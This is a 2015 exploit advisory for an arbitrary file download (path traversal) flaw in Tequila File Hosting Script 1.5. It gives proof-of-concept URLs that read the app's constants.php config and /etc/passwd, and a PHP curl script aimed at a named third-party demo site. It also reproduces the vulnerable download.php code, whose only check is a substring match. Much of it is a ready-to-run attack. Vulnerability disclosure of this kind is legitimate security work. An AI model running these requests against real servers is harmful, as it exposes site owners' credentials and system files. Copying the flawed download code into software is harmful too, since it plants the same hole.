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Tequila File Hosting Arbitrary File Download
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# Vendor Homepage:
http://codecanyon.net/item/tequila-file-hosting-script/7604312
# Software Link: http://ehsansec.ir/apps/Tequila_v1.5-File_Hosting_Script.rar
# Date: 16/12/2015
# Author: Ashiyane Digital Security Team
# Version: 1.5
# Contact: hehsan979@gmail.com
# Source: http://ehsansec.ir/advisories/tequila-disclose.txt
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# Description:
Tequila is a solid, safe, fast, simple and intuitive script which
allows companies or individuals to upload, manage and share their
files online. It is studied in every feature and was produced with
attention to every detail.

# PoC :

# Download Config
http://localhost/tequila/download.php?download.php?filename=files/../include/php/constants.php&name=file.php

# Download passwd
http://localhost/tequila/download.php?filename=files/../../../../../etc/passwd&name=passwd


# (PHP Exploit):

  <?php
  // page : download.php
  echo "Tequila File Hosting Arbitrary File Download Exploiter\n";
  echo "Discoverd By Ehsan Hosseini\n\n\n";
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL,
"http://themedema.altervista.org/demo_tequila3/download.php?filename=files/../include/php/constants.php&name=file.php");
  curl_setopt($ch, CURLOPT_HTTPGET, 1);
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
  $buf = curl_exec ($ch);
  curl_close($ch);
  unset($ch);
  echo $buf;
  ?>

# Vulnerabile code:

  <?php
  //This script forces the download of the file

  //Retrieving the file name from the querystring
  //and the stepping stone path to the download folder
  $fn          = (isset($_GET['filename']) ? $_GET['filename'] : false);
  $file        = $fn;
  $sn          = (isset($_GET['name']) ? $_GET['name'] : false);
  $secure_name = $sn;

  if (strpos($file, "files/") !== false) {
      $checkdownload = "true";
  } else {
    $checkdownload = "false";
  }

  //I verify that the file exists
  if($checkdownload == "true"){
    if (!file_exists($file)) {
      //If there is mold an error
      echo "The file does not exist!";
    } else {
      //If the file exists ...
      //Imposed on the header of the page to force the download of the file
      header("Cache-Control: public");
      header("Content-Description: File Transfer");
      header('Content-Type: application/zip');
      header("Content-Disposition: attachment; filename= " . $secure_name);
      header("Content-Transfer-Encoding: binary");
      header('Connection: Keep-Alive');
      header('Expires: 0');
      header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
      header('Pragma: public');
      //I read the contents of the file
      readfile($file);
      exit;
    }
  }
  ?>

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# Discovered By : Ehsan Hosseini (EhsanSec.ir)
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